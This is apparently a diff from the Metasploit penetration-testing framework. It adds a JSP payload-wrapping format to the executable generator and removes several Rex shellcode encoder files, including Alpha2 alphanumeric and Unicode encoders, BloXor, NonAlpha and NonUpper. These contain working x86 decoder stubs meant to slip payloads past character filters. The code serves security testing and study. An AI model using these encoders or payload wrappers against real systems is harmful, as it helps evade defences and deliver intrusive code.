hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
# Specify the payload in hex as an extra file..
payload_hex = exe.unpack('H*')[0]
opts.merge!(
{
:extra_files =>
[
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
]
})
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
self.to_war(template, opts)
end
# Creates a .NET DLL which loads data into memory
# at a specified location with read/execute permissions
# - the data will be loaded at: base+0x2065
@ -2221,6 +2209,12 @@ require 'msf/core/exe/segment_appender'
when 'loop-vbs'
exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
when 'jsp'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
tmp_plat ||= Msf::Module::PlatformList.transform('win')
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
Msf::Util::EXE.to_jsp(exe)
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
@ -2258,6 +2252,7 @@ require 'msf/core/exe/segment_appender'
"exe-small",
"hta-psh",
"jar",
"jsp",
"loop-vbs",
"macho",
"msi",

View File

@ -41,6 +41,7 @@ end
#
# REX Gems
#
# Text manipulation library for things like generating random string
require 'rex/text'
# Library for Generating Randomized strings valid as Identifiers such as variable names
@ -59,12 +60,15 @@ require 'rex/struct2'
require 'rex/ole'
# Library for creating and/or parsing MIME messages
require 'rex/mime'
# Library for polymorphic encoders
require 'rex/encoder'
# Architecture subsystem
require 'rex/arch'
# Generic classes
require 'rex/exceptions'
require 'rex/transformer'
require 'rex/random_identifier'
require 'rex/text'
require 'rex/time'
require 'rex/job_container'
require 'rex/file'
@ -75,12 +79,6 @@ require 'rex/sync'
# Thread factory
require 'rex/thread_factory'
# Encoding
require 'rex/encoder/xor'
require 'rex/encoding/xor'
# Architecture subsystem
require 'rex/arch'
# Assembly
require 'rex/assembly/nasm'

View File

@ -1,31 +0,0 @@
# -*- coding: binary -*-
#
# ________________________________________________________________________________
#
# ,sSSs,,s, ,sSSSs, ALPHA 2: Zero-tolerance. (build 07)
# SS" Y$P" SY" ,SY
# iS' dY ,sS" Unicode-proof uppercase alphanumeric shellcode encoding.
# YS, dSb ,sY" Copyright (C) 2003, 2004 by Berend-Jan Wever.
# `"YSS'"S' 'SSSSSSSP <skylined@edup.tudelft.nl>
# ________________________________________________________________________________
#
#
# make sure the namespace is created
#
module Rex
module Encoder
module Alpha2
end end end
#
# include the Alpha2 encodings
#
require 'rex/encoder/alpha2/generic'
require 'rex/encoder/alpha2/alpha_mixed'
require 'rex/encoder/alpha2/alpha_upper'
require 'rex/encoder/alpha2/unicode_mixed'
require 'rex/encoder/alpha2/unicode_upper'

View File

@ -1,129 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoder/alpha2/generic'
module Rex
module Encoder
module Alpha2
class AlphaMixed < Generic
# Generates the decoder stub prefix
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha mixed decoder stub prefix
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
if offset > 32
raise 'Critical: Offset is greater than 32'
end
mod_registers = []
nop_regs = []
mod_regs = []
edx_regs = []
# use inc ebx as a nop here so we still pad correctly
if offset <= 16
nop = 'C' * offset
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'J' * (17 - offset)
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
else
mod = 'A' * (offset - 16)
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
nop = 'C' * (16 - mod.length)
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod << nop + '7QZ'
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'B' * (17 - (offset - 16))
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
end
regprefix = {
'EAX' => 'PY' + mod, # push eax, pop ecx
'ECX' => 'I' + mod, # dec ecx
'EDX' => edxmod + nop + '7RY', # dec edx,,, push edx, pop ecx
'EBX' => 'SY' + mod, # push ebx, pop ecx
'ESP' => 'TY' + mod, # push esp, pop ecx
'EBP' => 'UY' + mod, # push ebp, pop ecx
'ESI' => 'VY' + mod, # push esi, pop ecx
'EDI' => 'WY' + mod, # push edi, pop ecx
}
reg.upcase!
unless regprefix.keys.include?(reg)
raise ArgumentError.new('Invalid register name')
end
case reg
when 'EDX'
mod_registers.concat(edx_regs)
mod_registers.concat(nop_regs)
mod_registers.push(Rex::Arch::X86::ECX)
else
mod_registers.push(Rex::Arch::X86::ECX)
mod_registers.concat(mod_regs)
end
mod_registers.uniq!
modified_registers.concat(mod_registers)
return regprefix[reg]
end
# Generates the decoder stub
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha mixed decoder stub
def self.gen_decoder(reg, offset, modified_registers = [])
mod_registers = []
decoder =
gen_decoder_prefix(reg, offset, mod_registers) +
"jA" + # push 0x41
"X" + # pop eax
"P" + # push eax
"0A0" + # xor byte [ecx+30], al
"A" + # inc ecx <---
"kAAQ" + # imul eax, [ecx+42], 51 -> 10 |
"2AB" + # xor al, [ecx + 42] |
"2BB" + # xor al, [edx + 42] |
"0BB" + # xor [edx + 42], al |
"A" + # inc ecx |
"B" + # inc edx |
"X" + # pop eax |
"P" + # push eax |
"8AB" + # cmp [ecx + 42], al |
"uJ" + # jnz short -------------------------
"I" # first encoded char, fixes the above J
mod_registers.concat(
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EAX,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EDX
])
mod_registers.uniq!
modified_registers.concat(mod_registers)
decoder
end
end end end end

View File

@ -1,138 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoder/alpha2/generic'
module Rex
module Encoder
module Alpha2
class AlphaUpper < Generic
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
# Generates the decoder stub prefix
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha upper decoder stub prefix
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
if offset > 20
raise 'Critical: Offset is greater than 20'
end
mod_registers = []
nop_regs = []
mod_regs = []
edx_regs = []
# use inc ebx as a nop here so we still pad correctly
if (offset <= 10)
nop = 'C' * offset
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'J' * (11 - offset)
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
else
mod = 'A' * (offset - 10)
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
nop = 'C' * (10 - mod.length)
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod << nop + 'QZ'
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'B' * (11 - (offset - 10))
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
end
regprefix = {
'EAX' => 'PY' + mod, # push eax, pop ecx
'ECX' => 'I' + mod, # dec ecx
'EDX' => edxmod + nop + 'RY', # mod edx,,, push edx, pop ecx
'EBX' => 'SY' + mod, # push ebx, pop ecx
'ESP' => 'TY' + mod, # push esp, pop ecx
'EBP' => 'UY' + mod, # push ebp, pop ecx
'ESI' => 'VY' + mod, # push esi, pop ecx
'EDI' => 'WY' + mod, # push edi, pop ecx
}
reg.upcase!
unless regprefix.keys.include?(reg)
raise ArgumentError.new("Invalid register name")
end
case reg
when 'EDX'
mod_registers.concat(edx_regs)
mod_registers.concat(nop_regs)
mod_registers.push(Rex::Arch::X86::ECX)
else
mod_registers.push(Rex::Arch::X86::ECX)
mod_registers.concat(mod_regs)
end
mod_registers.uniq!
modified_registers.concat(mod_registers)
return regprefix[reg]
end
# Generates the decoder stub
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha upper decoder stub
def self.gen_decoder(reg, offset, modified_registers = [])
mod_registers = []
decoder =
gen_decoder_prefix(reg, offset, mod_registers) +
"V" + # push esi
"T" + # push esp
"X" + # pop eax
"30" + # xor esi, [eax]
"V" + # push esi
"X" + # pop eax
"4A" + # xor al, 41
"P" + # push eax
"0A3" + # xor [ecx+33], al
"H" + # dec eax
"H" + # dec eax
"0A0" + # xor [ecx+30], al
"0AB" + # xor [ecx+42], al
"A" + # inc ecx <---------------
"A" + # inc ecx |
"B" + # inc edx |
"TAAQ" + # imul eax, [ecx+41], 10 * |
"2AB" + # xor al [ecx+42] |
"2BB" + # xor al, [edx+42] |
"0BB" + # xor [edx+42], al |
"X" + # pop eax |
"P" + # push eax |
"8AC" + # cmp [ecx+43], al |
"JJ" + # jnz * --------------------
"I" # first encoded char, fixes the above J
mod_registers.concat(
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EAX,
Rex::Arch::X86::ESI,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EDX
])
mod_registers.uniq!
modified_registers.concat(mod_registers)
return decoder
end
end end end end

View File

@ -1,90 +0,0 @@
# -*- coding: binary -*-
require 'rex/text'
module Rex
module Encoder
module Alpha2
class Generic
# Note: 'A' is presumed to be accepted, but excluded from the accepted characters, because it serves as the terminator
def Generic.default_accepted_chars ; ('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
def Generic.gen_decoder_prefix(reg, offset)
# Should never happen - have to pick a specifc
# encoding:
# alphamixed, alphaupper, unicodemixed, unicodeupper
''
end
def Generic.gen_decoder(reg, offset)
# same as above
return ''
end
def Generic.gen_second(block, base)
# XOR encoder for ascii - unicode uses additive
(block^base)
end
def Generic.encode_byte(block, badchars)
accepted_chars = default_accepted_chars.dup
badchars.each_char {|c| accepted_chars.delete(c) } if badchars
# No, not nipple.
nibble_chars = Array.new(0x10) {[]}
accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) }
poss_encodings = []
block_low_nibble = block & 0x0F
block_high_nibble = block >> 4
# Get list of chars suitable for expressing lower part of byte
first_chars = nibble_chars[block_low_nibble]
# Build a list of possible encodings
first_chars.each do |first_char|
first_high_nibble = first_char.unpack('C')[0] >> 4
# In the decoding process, the low nibble of the second char gets combined
# (either ADDed or XORed depending on the encoder) with the high nibble of the first char,
# and we want the high nibble of our input byte to result
second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F
# Find valid second chars for this first char and add each combination to our possible encodings
second_chars = nibble_chars[second_low_nibble]
second_chars.each {|second_char| poss_encodings.push(second_char + first_char) }
end
if poss_encodings.empty?
raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set"
end
# Return a random encoding
poss_encodings[rand(poss_encodings.length)]
end
def Generic.encode(buf, reg, offset, badchars = '')
encoded = gen_decoder(reg, offset)
buf.each_byte {
|block|
encoded << encode_byte(block, badchars)
}
encoded << add_terminator()
return encoded
end
# 'A' signifies the end of the encoded shellcode
def Generic.add_terminator()
'AA'
end
end end end end

View File

@ -1,116 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoder/alpha2/generic'
module Rex
module Encoder
module Alpha2
class UnicodeMixed < Generic
def self.gen_second(block, base)
# unicode uses additive encoding
(block - base)
end
def self.gen_decoder_prefix(reg, offset)
if (offset > 21)
raise "Critical: Offset is greater than 21"
end
# offset untested for unicode :(
if (offset <= 14)
nop = 'CP' * offset
mod = 'IA' * (14 - offset) + nop # dec ecx,,, push ecx, pop edx
else
mod = 'AA' * (offset - 14) # inc ecx
nop = 'CP' * (14 - mod.length)
mod += nop
end
regprefix = { # nops ignored below
'EAX' => 'PPYA' + mod, # push eax, pop ecx
'ECX' => mod + "4444", # dec ecx
'EDX' => 'RRYA' + mod, # push edx, pop ecx
'EBX' => 'SSYA' + mod, # push ebx, pop ecx
'ESP' => 'TUYA' + mod, # push esp, pop ecx
'EBP' => 'UUYA' + mod, # push ebp, pop ecx
'ESI' => 'VVYA' + mod, # push esi, pop ecx
'EDI' => 'WWYA' + mod, # push edi, pop edi
}
prefix = regprefix[reg.upcase]
if prefix.nil?
raise "Critical: Invalid register"
end
return prefix
end
def self.gen_decoder(reg, offset)
decoder =
gen_decoder_prefix(reg, offset) +
"j" + # push 0
"XA" + # pop eax, NOP
"QA" + # push ecx, NOP
"DA" + # inc esp, NOP
"ZA" + # pop edx, NOP
"BA" + # inc edx, NOP
"RA" + # push edx, NOP
"LA" + # dec esp, NOP
"YA" + # pop ecx, NOP
"IA" + # dec ecx, NOP
"QA" + # push ecx, NOP
"IA" + # dec ecx, NOP
"QA" + # push ecx, NOP
"IA" + # dec ecx, NOP
"hAAA" + # push 00410041, NOP
"Z" + # pop edx
"1A" + # add [ecx], dh NOP
"IA" + # dec ecx, NOP
"IA" + # dec ecx, NOP
"J" + # dec edx
"1" + # add [ecx], dh
"1A" + # add [ecx], dh NOP
"IA" + # dec ecx, NOP
"IA" + # dec ecx, NOP
"BA" + # inc edx, NOP
"BA" + # inc edx, NOP
"B" + # inc edx
"Q" + # add [ecx], dl
"I" + # dec ecx
"1A" + # add [ecx], dh NOP
"I" + # dec ecx
"Q" + # add [ecx], dl
"IA" + # dec ecx, NOP
"I" + # dec ecx
"Q" + # add [ecx], dh
"I" + # dec ecx
"1" + # add [ecx], dh
"1" + # add [ecx], dh
"1A" + # add [ecx], dh NOP
"IA" + # dec ecx, NOP
"J" + # dec edx
"Q" + # add [ecx], dl
"YA" + # pop ecx, NOP
"Z" + # pop edx
"B" + # add [edx], al
"A" + # inc ecx <-------
"B" + # add [edx], al |
"A" + # inc ecx |
"B" + # add [edx], al |
"A" + # inc ecx |
"B" + # add [edx], al |
"A" + # inc ecx |
"B" + # add [edx], al |
"kM" + # imul eax, [eax], 10 * |
"A" + # add [edx], al |
"G" + # inc edi |
"B" + # add [edx], al |
"9" + # cmp [eax], eax |
"u" + # jnz ------------------
"4JB"
return decoder
end
end end end end

View File

@ -1,123 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoder/alpha2/generic'
module Rex
module Encoder
module Alpha2
class UnicodeUpper < Generic
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
def self.gen_second(block, base)
# unicode uses additive encoding
(block - base)
end
def self.gen_decoder_prefix(reg, offset)
if (offset > 6)
raise "Critical: Offset is greater than 6"
end
# offset untested for unicode :(
if (offset <= 4)
nop = 'CP' * offset
mod = 'IA' * (4 - offset) + nop # dec ecx,,, push ecx, pop edx
else
mod = 'AA' * (offset - 4) # inc ecx
nop = 'CP' * (4 - mod.length)
mod += nop
end
regprefix = { # nops ignored below
'EAX' => 'PPYA' + mod, # push eax, pop ecx
'ECX' => mod + '4444', # dec ecx
'EDX' => 'RRYA' + mod, # push edx, pop ecx
'EBX' => 'SSYA' + mod, # push ebx, pop ecx
'ESP' => 'TUYA' + mod, # push esp, pop ecx
'EBP' => 'UUYA' + mod, # push ebp, pop ecx
'ESI' => 'VVYA' + mod, # push esi, pop ecx
'EDI' => 'WWYA' + mod, # push edi, pop edi
'[ESP]' => 'YA' + mod + '44', #
'[ESP+4]' => 'YUYA' + mod, #
}
return regprefix[reg]
end
def self.gen_decoder(reg, offset)
decoder =
gen_decoder_prefix(reg, offset) +
"QA" + # push ecx, NOP
"TA" + # push esp, NOP
"XA" + # pop eax, NOP
"ZA" + # pop edx, NOP
"PU" + # push eax, NOP
"3" + # xor eax, [eax]
"QA" + # push ecx, NOP
"DA" + # inc esp, NOP
"ZA" + # pop edx, NOP
"BA" + # inc edx, NOP
"RA" + # push edx, NOP
"LA" + # dec esp, NOP
"YA" + # pop ecx, NOP
"IA" + # dec ecx, NOP
"QA" + # push ecx, NOP
"IA" + # dec ecx, NOP
"QA" + # push ecx, NOP
"PA" + # push eax, NOP
"5AAA" + # xor eax, 41004100 - NOP
"PA" + # push eax, NOP
"Z" + # pop edx
"1A" + # add [ecx], dh - NOP
"I" + # dec ecx
"1A" + # add [ecx], dh - NOP
"IA" + # dec ecx, NOP
"IA" + # dec ecx, NOP
"J" + # dec edx
"1" + # add [ecx], dh
"1A" + # add [ecx], dh - NOP
"IA" + # dec ecx, NOP
"IA" + # dec ecx, NOP
"XA" + # pop eax, NOP
"58AA" + # xor eax, 41003800 - NOP
"PA" + # push eax, NOP
"ZA" + # pop edx, NOP
"BA" + # inc edx, NOP
"B" + # inc edx
"Q" + # add [ecx], dl
"I" + # dec ecx
"1A" + # add [ecx], dh - NOP
"I" + # dec ecx
"Q" + # add [ecx], dl
"IA" + # dec ecx, NOP
"I" + # dec ecx
"Q" + # add [ecx], dl
"I" + # dec ecx
"1" + # add [ecx], dh
"1" + # add [ecx], dh
"1" + # add [ecx], dh
"1A" + # add [ecx], dh - NOP
"IA" + # dec ecx, NOP
"J" + # dec edx
"Q" + # add [ecx], dl
"I" + # dec edx
"1A" + # add [ecx], dh - NOP
"YA" + # pop ecx, NOP
"ZB" + # pop edx, NOP
"AB" + # inc ecx, NOP <-------
"AB" + # inc ecx, NOP |
"AB" + # inc ecx, NOP |
"AB" + # inc ecx, NOP |
"30" + # imul eax, [ecx], 10 * |
"A" + # add al, [ecx+2] * |
"P" + # mov [edx], al * |
"B" + # inc edx |
"9" + # cmp [ecx], 41 * |
"4" + # jnz --------------------
"4JB"
return decoder
end
end end end end

View File

@ -1,327 +0,0 @@
# -*- coding: binary -*-
require 'rex/poly/machine'
module Rex
module Encoder
class BloXor < Msf::Encoder
def initialize( *args )
super
@machine = nil
@blocks_out = []
@block_size = 0
end
#
#
#
def decoder_stub( state )
if( not state.decoder_stub )
@blocks_out = []
@block_size = 0
# XXX: It would be ideal to use a random block size but unless we know the maximum size our final encoded
# blob can be we should instead start with the smallest block size and go up to avoid generating
# anything too big (if we knew the max size we could try something smaller if we generated a blob too big)
#block_sizes = (1..state.buf.length).to_a.shuffle
#block_sizes.each do | len |
1.upto( state.buf.length ) do | len |
# For now we ignore all odd sizes to help with performance (The rex poly machine
# doesnt have many load/store primitives that can handle byte sizes efficiently)
if( len % 2 != 0 )
next
end
blocks, size = compute_encoded( state, len )
if( blocks and size )
# We sanity check that the newly generated block ammount and the block size
# are not in the badchar list when converted into a hex form. Helps speed
# things up a great deal when generating a decoder stub later as these
# values may be used throughout.
if( not number_is_valid?( state, blocks.length - 1 ) or not number_is_valid?( state, ~( blocks.length - 1 ) ) )
next
end
if( not number_is_valid?( state, size ) or not number_is_valid?( state, ~size ) )
next
end
@blocks_out = blocks
@block_size = size
break
end
end
raise RuntimeError, "Unable to generate seed block." if( @blocks_out.empty? )
state.decoder_stub = compute_decoder( state )
end
state.decoder_stub
end
#
#
#
def encode_block( state, data )
buffer = ''
@blocks_out.each do | block |
buffer << block.pack( 'C*' )
end
buffer
end
protected
#
# Is a number in its byte form valid against the badchars?
#
def number_is_valid?( state, number )
size = 'C'
if( number > 0xFFFF )
size = 'V'
elsif( number > 0xFF )
size = 'v'
end
return Rex::Text.badchar_index( [ number ].pack( size ), state.badchars ).nil?
end
#
# Calculate Shannon's entropy.
#
def entropy( data )
entropy = 0.to_f
(0..255).each do | byte |
freq = data.to_s.count( byte.chr ).to_f / data.to_s.length
if( freq > 0 )
entropy -= freq * Math.log2( freq )
end
end
return entropy / 8
end
#
# Compute the encoded blocks (and associated seed)
#
def compute_encoded( state, len )
blocks_in = ::Array.new
input = '' << state.buf
block_padding = ( input.length % len ) > 0 ? len - ( input.length % len ) : 0
if( block_padding > 0 )
0.upto( block_padding-1 ) do
input << [ rand( 255 ) ].pack( 'C' )
end
end
while( input.length > 0 )
blocks_in << input[0..len-1].unpack( 'C*' )
input = input[len..input.length]
end
seed = compute_seed( blocks_in, len, block_padding, state.badchars.unpack( 'C*' ) )
if( not seed )
return [ nil, nil ]
end
blocks_out = [ seed ]
blocks_in.each do | block |
blocks_out << compute_block( blocks_out.last, block )
end
return [ blocks_out, len ]
end
#
# Generate the decoder stub which is functionally equivalent to the following:
#
# source = &end;
# dest = source + BLOCK_SIZE;
# counter = BLOCK_COUNT * ( BLOCK_SIZE / chunk_size );
# do
# {
# encoded = *(CHUNK_SIZE *)dest;
# dest += chunk_size;
# decoded = *(CHUNK_SIZE *)source;
# *(CHUNK_SIZE *)source = decoded ^ encoded;
# source += chunk_size;
# } while( --counter );
#
# end:
#
def compute_decoder( state )
@machine.create_variable( 'source' )
@machine.create_variable( 'dest' )
@machine.create_variable( 'counter' )
@machine.create_variable( 'encoded' )
@machine.create_variable( 'decoded' )
chunk_size = Rex::Poly::Machine::BYTE
if( @machine.native_size() == Rex::Poly::Machine::QWORD )
if( @block_size % Rex::Poly::Machine::QWORD == 0 )
chunk_size = Rex::Poly::Machine::QWORD
elsif( @block_size % Rex::Poly::Machine::DWORD == 0 )
chunk_size = Rex::Poly::Machine::DWORD
elsif( @block_size % Rex::Poly::Machine::WORD == 0 )
chunk_size = Rex::Poly::Machine::WORD
end
elsif( @machine.native_size() == Rex::Poly::Machine::DWORD )
if( @block_size % Rex::Poly::Machine::DWORD == 0 )
chunk_size = Rex::Poly::Machine::DWORD
elsif( @block_size % Rex::Poly::Machine::WORD == 0 )
chunk_size = Rex::Poly::Machine::WORD
end
elsif( @machine.native_size() == Rex::Poly::Machine::WORD )
if( @block_size % Rex::Poly::Machine::WORD == 0 )
chunk_size = Rex::Poly::Machine::WORD
end
end
# Block 1 - Set the source variable to the address of the start block
@machine.create_block_primitive( 'block1', 'set', 'source', 'location' )
# Block 2 - Set the source variable to the address of the 1st encoded block
@machine.create_block_primitive( 'block2', 'add', 'source', 'end' )
# Block 3 - Set the destingation variable to the value of the source variable
@machine.create_block_primitive( 'block3', 'set', 'dest', 'source' )
# Block 4 - Set the destingation variable to the address of the 2nd encoded block
@machine.create_block_primitive( 'block4', 'add', 'dest', @block_size )
# Block 5 - Sets the loop counter to the number of blocks to process
@machine.create_block_primitive( 'block5', 'set', 'counter', ( ( @block_size / chunk_size ) * (@blocks_out.length - 1) ) )
# Block 6 - Set the encoded variable to the byte pointed to by the dest variable
@machine.create_block_primitive( 'block6', 'load', 'encoded', 'dest', chunk_size )
# Block 7 - Increment the destination variable by one
@machine.create_block_primitive( 'block7', 'add', 'dest', chunk_size )
# Block 8 - Set the decoded variable to the byte pointed to by the source variable
@machine.create_block_primitive( 'block8', 'load', 'decoded', 'source', chunk_size )
# Block 9 - Xor the decoded variable with the encoded variable
@machine.create_block_primitive( 'block9', 'xor', 'decoded', 'encoded' )
# Block 10 - store the newly decoded byte
@machine.create_block_primitive( 'block10', 'store', 'source', 'decoded', chunk_size )
# Block 11 - Increment the source variable by one
@machine.create_block_primitive( 'block11', 'add', 'source', chunk_size )
# Block 12 - Jump back up to the outer_loop block while the counter variable > 0
@machine.create_block_primitive( 'block12', 'loop', 'counter', 'block6' )
# Try to generate the decoder stub...
decoder = @machine.generate
if( not decoder )
raise RuntimeError, "Unable to generate decoder stub."
end
decoder
end
#
# Compute the seed block which will successfully decode all proceeding encoded
# blocks while ensuring the encoded blocks do not contain any badchars.
#
def compute_seed( blocks_in, block_size, block_padding, badchars )
seed = []
redo_bytes = []
0.upto( block_size-1 ) do | index |
seed_bytes = (0..255).sort_by do
rand()
end
seed_bytes.each do | seed_byte |
next if( badchars.include?( seed_byte ) )
success = true
previous_byte = seed_byte
if( redo_bytes.length < 256 )
redo_bytes = (0..255).sort_by do
rand()
end
end
blocks_in.each do | block |
decoded_byte = block[ index ]
encoded_byte = previous_byte ^ decoded_byte
if( badchars.include?( encoded_byte ) )
# the padding bytes we added earlier can be changed if they are causing us to fail.
if( block == blocks_in.last and index >= (block_size-block_padding) )
if( redo_bytes.empty? )
success = false
break
end
block[ index ] = redo_bytes.shift
redo
end
success = false
break
end
previous_byte = encoded_byte
end
if( success )
seed << seed_byte
break
end
end
end
if( seed.length == block_size )
return seed
end
return nil
end
#
# Compute the next encoded block by xoring the previous
# encoded block with the next decoded block.
#
def compute_block( encoded, decoded )
block = []
0.upto( encoded.length-1 ) do | index |
block << ( encoded[ index ] ^ decoded[ index ] )
end
return block
end
end
end
end

View File

@ -1,90 +0,0 @@
# -*- coding: binary -*-
require "rex/text"
module Rex
module Encoder
module NDR
# Provide padding to align the string to the 32bit boundary
def NDR.align(string)
return "\x00" * ((4 - (string.length & 3)) & 3)
end
# Encode a 4 byte long
# use to encode:
# long element_1;
def NDR.long(string)
return [string].pack('V')
end
# Encode a 2 byte short
# use to encode:
# short element_1;
def NDR.short(string)
return [string].pack('v')
end
# Encode a single byte
# use to encode:
# byte element_1;
def NDR.byte(string)
return [string].pack('C')
end
# Encode a byte array
# use to encode:
# char element_1
def NDR.UniConformantArray(string)
return long(string.length) + string + align(string)
end
# Encode a string
# use to encode:
# char *element_1;
def NDR.string(string)
string << "\x00" # null pad
return long(string.length) + long(0) + long(string.length) + string + align(string)
end
# Encode a string
# use to encode:
# w_char *element_1;
def NDR.wstring(string)
string = string + "\x00" # null pad
return long(string.length) + long(0) + long(string.length) + Rex::Text.to_unicode(string) + align(Rex::Text.to_unicode(string))
end
# Encode a string and make it unique
# use to encode:
# [unique] w_char *element_1;
def NDR.uwstring(string)
string = string + "\x00" # null pad
return long(rand(0xffffffff))+long(string.length) + long(0) + long(string.length) + Rex::Text.to_unicode(string) + align(Rex::Text.to_unicode(string))
end
# Encode a string that is already unicode encoded
# use to encode:
# w_char *element_1;
def NDR.wstring_prebuilt(string)
# if the string len is odd, thats bad!
if string.length % 2 > 0
string = string + "\x00"
end
len = string.length / 2;
return long(len) + long(0) + long(len) + string + align(string)
end
# alias to wstring, going away soon
def NDR.UnicodeConformantVaryingString(string)
NDR.wstring(string)
end
# alias to wstring_prebuilt, going away soon
def NDR.UnicodeConformantVaryingStringPreBuilt(string)
NDR.wstring_prebuilt(string)
end
end
end
end

View File

@ -1,61 +0,0 @@
# -*- coding: binary -*-
require 'rex/text'
module Rex
module Encoder
class NonAlpha
def NonAlpha.gen_decoder
decoder =
"\x66\xB9\xFF\xFF" +
"\xEB\x19" + # Jmp to table
"\x5E" + # pop esi
"\x8B\xFE" + # mov edi, esi - Get table addr
"\x83\xC7" + "A" + # add edi, tablelen - Get shellcode addr
"\x8B\xD7" + # mov edx, edi - Hold end of table ptr
"\x3B\xF2" + # cmp esi, edx
"\x7D\x0B" + # jle to end
"\xB0\x7B" + # mov eax, 0x7B - Set up eax with magic
"\xF2\xAE" + # repne scasb - Find magic!
"\xFF\xCF" + # dec edi - scasb purs us one ahead
"\xAC" + # lodsb
"\x28\x07" + # subb [edi], al
"\xEB\xF1" + # jmp BACK!
"\xEB" + "B" + # jmp [shellcode]
"\xE8\xE2\xFF\xFF\xFF"
end
def NonAlpha.encode_byte(block, table, tablelen)
if tablelen > 255 || block == 0x7B
raise RuntimeError, "BadChar"
end
if (block >= 0x41 && block <= 0x5A) || (block >= 0x61 && block <= 0x7A)
# gen offset, return magic
offset = 0x7b - block
table += offset.chr
tablelen = tablelen + 1
block = 0x7B
end
return [block.chr, table, tablelen]
end
def NonAlpha.encode(buf)
table = ""
tablelen = 0
nonascii = ""
encoded = gen_decoder()
buf.each_byte { |block|
newchar, table, tablelen = encode_byte(block.unpack('C')[0], table, tablelen)
nonascii += newchar
}
encoded.gsub!(/A/, tablelen)
encoded.gsub!(/B/, tablelen+5)
encoded += table
encoded += nonascii
end
end end end

View File

@ -1,64 +0,0 @@
# -*- coding: binary -*-
require 'rex/text'
module Rex
module Encoder
class NonUpper
def NonUpper.gen_decoder()
decoder =
"\x66\xB9\xFF\xFF" +
"\xEB\x19" + # Jmp to table
"\x5E" + # pop esi
"\x8B\xFE" + # mov edi, esi - Get table addr
"\x83\xC7" + "A" + # add edi, tablelen - Get shellcode addr
"\x8B\xD7" + # mov edx, edi - Hold end of table ptr
"\x3B\xF2" + # cmp esi, edx
"\x7D\x0B" + # jle to end
"\xB0\x7B" + # mov eax, 0x7B - Set up eax with magic
"\xF2\xAE" + # repne scasb - Find magic!
"\xFF\xCF" + # dec edi - scasb purs us one ahead
"\xAC" + # lodsb
"\x28\x07" + # subb [edi], al
"\xEB\xF1" + # jmp BACK!
"\xEB" + "B" + # jmp [shellcode]
"\xE8\xE2\xFF\xFF\xFF"
end
def NonUpper.encode_byte(badchars, block, table, tablelen)
if (tablelen > 255) or (block == 0x40)
raise RuntimeError, "BadChar"
end
